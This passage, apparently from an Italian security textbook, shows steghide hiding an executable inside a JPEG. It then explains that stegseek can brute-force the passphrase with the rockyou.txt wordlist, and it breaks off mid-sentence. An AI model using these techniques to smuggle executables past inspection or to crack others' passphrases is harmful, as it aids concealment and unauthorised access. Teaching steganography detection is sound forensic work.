Esempio 12-26. Utilizzo di steghide
┌──(kilroy@savagewoofer)-[~]
└─$ steghide embed -ef sample.exe -cf holyhydrant
Inserisci la passphrase:
Reinserisci la passphrase:
incorporamento di "sample.exe" in
"holyhydrant.jpeg"... d scrittura del file stego
"innocent.jpeg"... fatto
Se confrontassi il file di copertina e il file risultante, probabilmente non
vedresti alcuna differenza. È interessante notare, però, che sample.exe è di
circa 12 KB, ma il file stego è di circa 4 KB più piccolo del file di copertina.
Per recuperare il file archiviato, dovresti usare la funzione extract e
chiunque volesse estrarre il file dovrebbe conoscere la password utilizzata
per archiviarlo . Potresti non aver bisogno di conoscere la password, però,
se hai trovato un file che sospetti ne contenga un altro. Puoi usare il
programma stegseek per tentare di forzare la password. Di default, usa l'
elenco di parole rockyou.txt , quindi la password dovrebbe essere in quel
file per avere successo. L'esempio 12-27 mostra quanto velocemente
stegseek può trovare una password per il file creato in precedenza. Ciò non
è stato fatto
0
You can add this document to your study collection(s)
Sign in Available only to authorized usersYou can add this document to your saved list
Sign in Available only to authorized users(For complaints, use another form )